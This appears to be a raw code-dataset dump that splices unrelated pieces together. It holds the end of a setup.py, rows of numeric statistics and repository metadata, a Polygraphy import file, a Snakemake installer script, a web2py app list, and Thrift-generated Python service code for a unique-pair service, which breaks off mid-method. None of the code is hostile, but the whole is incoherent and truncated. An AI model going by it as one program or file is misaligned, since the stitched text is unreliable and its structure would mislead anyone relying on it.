'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.contrib', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages.ssl_match_hostname', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.packaging', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol.caches', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.webencodings', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.pkg_resources', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.commands', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.operations'], url='', license='MIT', author='rmurphy', author_email='ross.omurchadha@gmail.com', description='FYP' )
86.397727
137
0.65632
1,259
7,603
3.915012
0.057983
0.136336
0.204504
0.34084
0.97464
0.97464
0.97464
0.866707
0.832217
0.832217
0
0.094504
0.155202
7,603
87
138
87.390805
0.672894
0
0
0
0
0.767442
0.79587
0.792713
0
0
0
0
0
1
0
true
0
0.011628
0
0.011628
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
12
cae14de87aeaef74c3e80270ac96023f446764c4
136
py
Python
tools/Polygraphy/polygraphy/tools/template/subtool/__init__.py
leo0519/TensorRT
498dcb009fe4c2dedbe9c61044d3de4f3c04a41b
[ "Apache-2.0" ]
5,249
2019-06-17T17:20:34.000Z
2022-03-31T17:56:05.000Z
tools/Polygraphy/polygraphy/tools/template/subtool/__init__.py
leo0519/TensorRT
498dcb009fe4c2dedbe9c61044d3de4f3c04a41b
[ "Apache-2.0" ]
1,721
2019-06-17T18:13:29.000Z
2022-03-31T16:09:53.000Z
tools/Polygraphy/polygraphy/tools/template/subtool/__init__.py
leo0519/TensorRT
498dcb009fe4c2dedbe9c61044d3de4f3c04a41b
[ "Apache-2.0" ]
1,414
2019-06-18T04:01:17.000Z
2022-03-31T09:16:53.000Z
from polygraphy.tools.template.subtool.trt_network import TrtNetwork from polygraphy.tools.template.subtool.trt_config import TrtConfig
45.333333
68
0.882353
18
136
6.555556
0.611111
0.237288
0.322034
0.457627
0.627119
0.627119
0
0
0
0
0
0
0.058824
136
2
69
68
0.921875
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
caf0722eca8f9f2034688029b073fa5cee9c2743
4,019
py
Python
tasks_user/install_snakemake.py
dahak-metagenomics/dahak-yeti
292b777220a1227715107f1659492a4622814f6e
[ "BSD-3-Clause" ]
null
null
null
tasks_user/install_snakemake.py
dahak-metagenomics/dahak-yeti
292b777220a1227715107f1659492a4622814f6e
[ "BSD-3-Clause" ]
8
2018-03-04T06:29:59.000Z
2018-10-24T22:03:33.000Z
tasks_user/install_snakemake.py
dahak-metagenomics/dahak-yeti
292b777220a1227715107f1659492a4622814f6e
[ "BSD-3-Clause" ]
1
2018-10-25T05:05:54.000Z
2018-10-25T05:05:54.000Z
#!/usr/bin/env python3 import os, sys import getpass import tempfile import subprocess """ Install Snakemake This script runs the necessary commands to install Snakemake. """ def install_snakemake_the_slightly_easier_way(): user = getpass.getuser() if(user=="root"): raise Exception("You are root - you should run this script as a normal user.") else: print("Installing snakemake...") # --------------------------- # Install snakemake pyenvbin = os.environ['HOME'] condabin = pyenvbin+"/.pyenv/shims/conda" pipbin = pyenvbin+"/.pyenv/shims/pip" print(" - Adding channels:") print(" - r") rc = subprocess.call([condabin,"config","--add","channels","r"]) if(rc != 0): raise Exception() print(" - default") rc = subprocess.call([condabin,"config","--add","channels","defaults"]) if(rc != 0): raise Exception() print(" - conda-forge") rc = subprocess.call([condabin,"config","--add","channels","conda-forge"]) if(rc != 0): raise Exception() print(" - bioconda") rc = subprocess.call([condabin,"config","--add","channels","bioconda"]) if(rc != 0): raise Exception() print(" - Upgrading pip") rc = subprocess.call([pipbin,"install","--upgrade","pip"]) if(rc != 0): raise Exception() print(" - Installing packages") # psutil required for snakemake benchmarking rc = subprocess.call([pipbin,"install","psutil"]) if(rc != 0): raise Exception() print(" - Installing snakemake") rc = subprocess.call([pipbin,"install","snakemake"]) if(rc != 0): raise Exception() print(" ~~*~~ ~~*~~ ~~*~~ SUCCESS! ~~*~~ ~~*~~ ~~*~~\n") print(" Snakemake is now installed.") print(" Test that snakemake is working using the following one-liner:\n") print(" python -c 'import snakemake'") print() def install_snakemake(): user = getpass.getuser() if(user=="root"): raise Exception("You are root - you should run this script as a normal user.") else: print("Installing snakemake...") # --------------------------- # Install snakemake pyenvbin = os.environ['HOME'] condabin = pyenvbin+"/.pyenv/shims/conda" print(" - Adding channels:") print(" - r") rc = subprocess.call([condabin,"config","--add","channels","r"]) if(rc != 0): raise Exception() print(" - default") rc = subprocess.call([condabin,"config","--add","channels","defaults"]) if(rc != 0): raise Exception() print(" - conda-forge") rc = subprocess.call([condabin,"config","--add","channels","conda-forge"]) if(rc != 0): raise Exception() print(" - bioconda") rc = subprocess.call([condabin,"config","--add","channels","bioconda"]) if(rc != 0): raise Exception() print(" - Installing snakemake") condacmd = [condabin,"install","-y","-c","bioconda","-c","conda-forge","snakemake"] rc = subprocess.call(condacmd) if(rc != 0): raise Exception() pyenvbin = os.environ['HOME'] pipbin = pyenvbin+"/.pyenv/shims/pip" print(" - Upgrading pip") rc = subprocess.call([pipbin,"install","--upgrade","pip"]) if(rc != 0): raise Exception() print(" ~~*~~ ~~*~~ ~~*~~ SUCCESS! ~~*~~ ~~*~~ ~~*~~\n") print(" Snakemake is now installed.") print(" Test that snakemake is working using the following one-liner:\n") print(" python -c 'import snakemake'") print() if __name__=="__main__": install_snakemake_the_slightly_easier_way()
28.707143
91
0.520527
394
4,019
5.261421
0.215736
0.101302
0.100338
0.062711
0.841293
0.804149
0.743367
0.738543
0.708635
0.708635
0
0.004977
0.300075
4,019
139
92
28.913669
0.731959
0.038816
0
0.855556
0
0
0.319533
0
0
0
0
0
0
1
0.022222
false
0.033333
0.066667
0
0.088889
0.3
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
1b6c224b18b53bbafce76d001e6ba08d2a53ecdc
1,283
py
Python
web2py-appliances-master/Appliances/controllers/default.py
wantsomechocolate/WantsomeBeanstalk
8c8a0a80490d04ea52661a3114fd3db8de65a01e
[ "BSD-3-Clause" ]
null
null
null
web2py-appliances-master/Appliances/controllers/default.py
wantsomechocolate/WantsomeBeanstalk
8c8a0a80490d04ea52661a3114fd3db8de65a01e
[ "BSD-3-Clause" ]
null
null
null
web2py-appliances-master/Appliances/controllers/default.py
wantsomechocolate/WantsomeBeanstalk
8c8a0a80490d04ea52661a3114fd3db8de65a01e
[ "BSD-3-Clause" ]
null
null
null
apps = ["admin", "AjaxSpreadsheet", "AppointmentManager", "ArXivInterface", "BingApi", "BitcoinExample", "CarSales", "CeleryIntegrationExample", "CookbookExample", "CssDesigner", "CustomerRelationshipManagement", "DnaAnalysisNeedlemanWunsh", "eCardsOnMap", "EmailContactForm", "EStoreExample", "FacebookClone", "FacebookConnectExample", "FacebookExample", "FileManager", "FileTreeBrowser", "FindRideSharing", "GeolocateByIp", "HotelManagementExample", "ImageGallery", "IssueTracker", "KPax2", "LabSoftwareManagement", "LearningObjectives", "LibraryServices", "LostAndFoundItalian", "ManageContacts", "MazeGenerator", "MedicalSocialNetwork", "MetraTrainSchedule", "MinimalistWiki", "MovieReviews", "OnlineFormsToPdf", "OnlineMagazine", "OpenOpine", "PhysicsSimulator2D", "PosOnlineStore", "PoweredBy", "ProcessingJsExample", "ProjectManager", "PyForum2", "QuizBuilder", "RadioScheduleLogs", "RedditClone", "RemoteWebsiteMonitor", "RestaurantsListing", "RsvpService", "SemaCodeGenerator", "SemanticWebExample", "ServerStats", "SkeletonLayout", "SnakeGameInProcessing", "SqlDesigner", "SudokuGame", "SuperComputing2010", "SurveyAppFlourish", "SysadminInterface", "TrainCountingGame", "UploadAndShareFiles", "VideoLibrary", "Web2pyPackagingApp"] def index(): return dict(apps=apps)
256.6
1,241
0.782541
72
1,283
13.944444
0.972222
0
0
0
0
0
0
0
0
0
0
0.006628
0.059236
1,283
4
1,242
320.75
0.825186
0
0
0
0
0
0.759158
0.128605
0
0
0
0
0
1
0.333333
false
0
0
0.333333
0.666667
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
0
1
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
8
1b7986dda6ca73063822fb89bf962e8738337650
65,281
py
Python
app/uniquepair/service/tests/site-packages/buzzblog/gen/TUniquepairService.py
quyuyi/6365BuzzBlogApp
def9c033d56f65bb558cc1ee3260ac0d4229e690
[ "Apache-2.0" ]
null
null
null
app/uniquepair/service/tests/site-packages/buzzblog/gen/TUniquepairService.py
quyuyi/6365BuzzBlogApp
def9c033d56f65bb558cc1ee3260ac0d4229e690
[ "Apache-2.0" ]
null
null
null
app/uniquepair/service/tests/site-packages/buzzblog/gen/TUniquepairService.py
quyuyi/6365BuzzBlogApp
def9c033d56f65bb558cc1ee3260ac0d4229e690
[ "Apache-2.0" ]
null
null
null
# # Autogenerated by Thrift Compiler (0.13.0) # # DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING # # options string: py # from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException from thrift.protocol.TProtocol import TProtocolException from thrift.TRecursive import fix_spec import sys import logging from .ttypes import * from thrift.Thrift import TProcessor from thrift.transport import TTransport all_structs = [] class Iface(object): def get(self, uniquepair_id): """ Parameters: - uniquepair_id """ pass def add(self, domain, first_elem, second_elem): """ Parameters: - domain - first_elem - second_elem """ pass def remove(self, uniquepair_id): """ Parameters: - uniquepair_id """ pass def find(self, domain, first_elem, second_elem): """ Parameters: - domain - first_elem - second_elem """ pass def all(self, domain): """ Parameters: - domain """ pass def filter_by_first_elem(self, domain, first_elem): """ Parameters: - domain - first_elem """ pass def filter_by_second_elem(self, domain, second_elem): """ Parameters: - domain - second_elem """ pass def count_first_elem(self, domain, first_elem): """ Parameters: - domain - first_elem """ pass def count_second_elem(self, domain, second_elem): """ Parameters: - domain - second_elem """ pass class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot = self._oprot = iprot if oprot is not None: self._oprot = oprot self._seqid = 0 def get(self, uniquepair_id): """ Parameters: - uniquepair_id """ self.send_get(uniquepair_id) return self.recv_get() def send_get(self, uniquepair_id): self._oprot.writeMessageBegin('get', TMessageType.CALL, self._seqid) args = get_args() args.uniquepair_id = uniquepair_id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_get(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = get_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, "get failed: unknown result") def add(self, domain, first_elem, second_elem): """ Parameters: - domain - first_elem - second_elem """ self.send_add(domain, first_elem, second_elem) return self.recv_add() def send_add(self, domain, first_elem, second_elem): self._oprot.writeMessageBegin('add', TMessageType.CALL, self._seqid) args = add_args() args.domain = domain args.first_elem = first_elem args.second_elem = second_elem args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_add(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = add_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, "add failed: unknown result") def remove(self, uniquepair_id): """ Parameters: - uniquepair_id """ self.send_remove(uniquepair_id) self.recv_remove() def send_remove(self, uniquepair_id): self._oprot.writeMessageBegin('remove', TMessageType.CALL, self._seqid) args = remove_args() args.uniquepair_id = uniquepair_id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_remove(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = remove_result() result.read(iprot) iprot.readMessageEnd() if result.e is not None: raise result.e return def find(self, domain, first_elem, second_elem): """ Parameters: - domain - first_elem - second_elem """ self.send_find(domain, first_elem, second_elem) return self.recv_find() def send_find(self, domain, first_elem, second_elem): self._oprot.writeMessageBegin('find', TMessageType.CALL, self._seqid) args = find_args() args.domain = domain args.first_elem = first_elem args.second_elem = second_elem args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_find(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = find_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, "find failed: unknown result") def all(self, domain): """ Parameters: - domain """ self.send_all(domain) return self.recv_all() def send_all(self, domain): self._oprot.writeMessageBegin('all', TMessageType.CALL, self._seqid) args = all_args() args.domain = domain args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_all(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = all_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "all failed: unknown result") def filter_by_first_elem(self, domain, first_elem): """ Parameters: - domain - first_elem """ self.send_filter_by_first_elem(domain, first_elem) return self.recv_filter_by_first_elem() def send_filter_by_first_elem(self, domain, first_elem): self._oprot.writeMessageBegin('filter_by_first_elem', TMessageType.CALL, self._seqid) args = filter_by_first_elem_args() args.domain = domain args.first_elem = first_elem args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_filter_by_first_elem(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = filter_by_first_elem_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "filter_by_first_elem failed: unknown result") def filter_by_second_elem(self, domain, second_elem): """ Parameters: - domain - second_elem """ self.send_filter_by_second_elem(domain, second_elem) return self.recv_filter_by_second_elem() def send_filter_by_second_elem(self, domain, second_elem): self._oprot.writeMessageBegin('filter_by_second_elem', TMessageType.CALL, self._seqid) args = filter_by_second_elem_args() args.domain = domain args.second_elem = second_elem args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_filter_by_second_elem(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = filter_by_second_elem_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "filter_by_second_elem failed: unknown result") def count_first_elem(self, domain, first_elem): """ Parameters: - domain - first_elem """ self.send_count_first_elem(domain, first_elem) return self.recv_count_first_elem() def send_count_first_elem(self, domain, first_elem): self._oprot.writeMessageBegin('count_first_elem', TMessageType.CALL, self._seqid) args = count_first_elem_args() args.domain = domain args.first_elem = first_elem args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_count_first_elem(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = count_first_elem_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "count_first_elem failed: unknown result") def count_second_elem(self, domain, second_elem): """ Parameters: - domain - second_elem """ self.send_count_second_elem(domain, second_elem) return self.recv_count_second_elem() def send_count_second_elem(self, domain, second_elem): self._oprot.writeMessageBegin('count_second_elem', TMessageType.CALL, self._seqid) args = count_second_elem_args() args.domain = domain args.second_elem = second_elem args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_count_second_elem(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = count_second_elem_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "count_second_elem failed: unknown result") class Processor(Iface, TProcessor): def __init__(self, handler): self._handler = handler self._processMap = {} self._processMap["get"] = Processor.process_get self._processMap["add"] = Processor.process_add self._processMap["remove"] = Processor.process_remove self._processMap["find"] = Processor.process_find self._processMap["all"] = Processor.process_all self._processMap["filter_by_first_elem"] = Processor.process_filter_by_first_elem self._processMap["filter_by_second_elem"] = Processor.process_filter_by_second_elem self._processMap["count_first_elem"] = Processor.process_count_first_elem self._processMap["count_second_elem"] = Processor.process_count_second_elem self._on_message_begin = None def on_message_begin(self, func): self._on_message_begin = func def process(self, iprot, oprot): (name, type, seqid) = iprot.readMessageBegin() if self._on_message_begin: self._on_message_begin(name, type, seqid) if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot) return True def process_get(self, seqid, iprot, oprot): args = get_args() args.read(iprot) iprot.readMessageEnd() result = get_result() try: result.success = self._handler.get(args.uniquepair_id) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TUniquepairNotFoundException as e: msg_type = TMessageType.REPLY result.e = e except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("get", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_add(self, seqid, iprot, oprot): args = add_args() args.read(iprot) iprot.readMessageEnd() result = add_result() try: result.success = self._handler.add(args.domain, args.first_elem, args.second_elem) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TUniquepairAlreadyExistsException as e: msg_type = TMessageType.REPLY result.e = e except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("add", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_remove(self, seqid, iprot, oprot): args = remove_args() args.read(iprot) iprot.readMessageEnd() result = remove_result() try: self._handler.remove(args.uniquepair_id) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TUniquepairNotFoundException as e: msg_type = TMessageType.REPLY result.e = e except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("remove", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_find(self, seqid, iprot, oprot): args = find_args() args.read(iprot) iprot.readMessageEnd() result = find_result() try: result.success = self._handler.find(args.domain, args.first_elem, args.second_elem) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TUniquepairNotFoundException as e: msg_type = TMessageType.REPLY result.e = e except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("find", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_all(self, seqid, iprot, oprot): args = all_args() args.read(iprot) iprot.readMessageEnd() result = all_result() try: result.success = self._handler.all(args.domain) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("all", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_filter_by_first_elem(self, seqid, iprot, oprot): args = filter_by_first_elem_args() args.read(iprot) iprot.readMessageEnd() result = filter_by_first_elem_result() try: result.success = self._handler.filter_by_first_elem(args.domain, args.first_elem) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("filter_by_first_elem", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_filter_by_second_elem(self, seqid, iprot, oprot): args = filter_by_second_elem_args() args.read(iprot) iprot.readMessageEnd() result = filter_by_second_elem_result() try: result.success = self._handler.filter_by_second_elem(args.domain, args.second_elem) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("filter_by_second_elem", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_count_first_elem(self, seqid, iprot, oprot): args = count_first_elem_args() args.read(iprot) iprot.readMessageEnd() result = count_first_elem_result() try: result.success = self._handler.count_first_elem(args.domain, args.first_elem) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("count_first_elem", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_count_second_elem(self, seqid, iprot, oprot): args = count_second_elem_args() args.read(iprot) iprot.readMessageEnd() result = count_second_elem_result() try: result.success = self._handler.count_second_elem(args.domain, args.second_elem) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("count_second_elem", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class get_args(object): """ Attributes: - uniquepair_id """ def __init__(self, uniquepair_id=None,): self.uniquepair_id = uniquepair_id def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.I32: self.uniquepair_id = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('get_args') if self.uniquepair_id is not None: oprot.writeFieldBegin('uniquepair_id', TType.I32, 1) oprot.writeI32(self.uniquepair_id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(get_args) get_args.thrift_spec = ( None, # 0 (1, TType.I32, 'uniquepair_id', None, None, ), # 1 ) class get_result(object): """ Attributes: - success - e """ def __init__(self, success=None, e=None,): self.success = success self.e = e def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.STRUCT: self.success = TUniquepair() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.e = TUniquepairNotFoundException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('get_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(get_result) get_result.thrift_spec = ( (0, TType.STRUCT, 'success', [TUniquepair, None], None, ), # 0 (1, TType.STRUCT, 'e', [TUniquepairNotFoundException, None], None, ), # 1 ) class add_args(object): """ Attributes: - domain - first_elem - second_elem """ def __init__(self, domain=None, first_elem=None, second_elem=None,): self.domain = domain self.first_elem = first_elem self.second_elem = second_elem def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.I32: self.first_elem = iprot.readI32() else: iprot.skip(ftype) elif fid == 3: if ftype == TType.I32: self.second_elem = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('add_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() if self.first_elem is not None: oprot.writeFieldBegin('first_elem', TType.I32, 2) oprot.writeI32(self.first_elem) oprot.writeFieldEnd() if self.second_elem is not None: oprot.writeFieldBegin('second_elem', TType.I32, 3) oprot.writeI32(self.second_elem) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(add_args) add_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 (2, TType.I32, 'first_elem', None, None, ), # 2 (3, TType.I32, 'second_elem', None, None, ), # 3 ) class add_result(object): """ Attributes: - success - e """ def __init__(self, success=None, e=None,): self.success = success self.e = e def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.STRUCT: self.success = TUniquepair() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.e = TUniquepairAlreadyExistsException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, 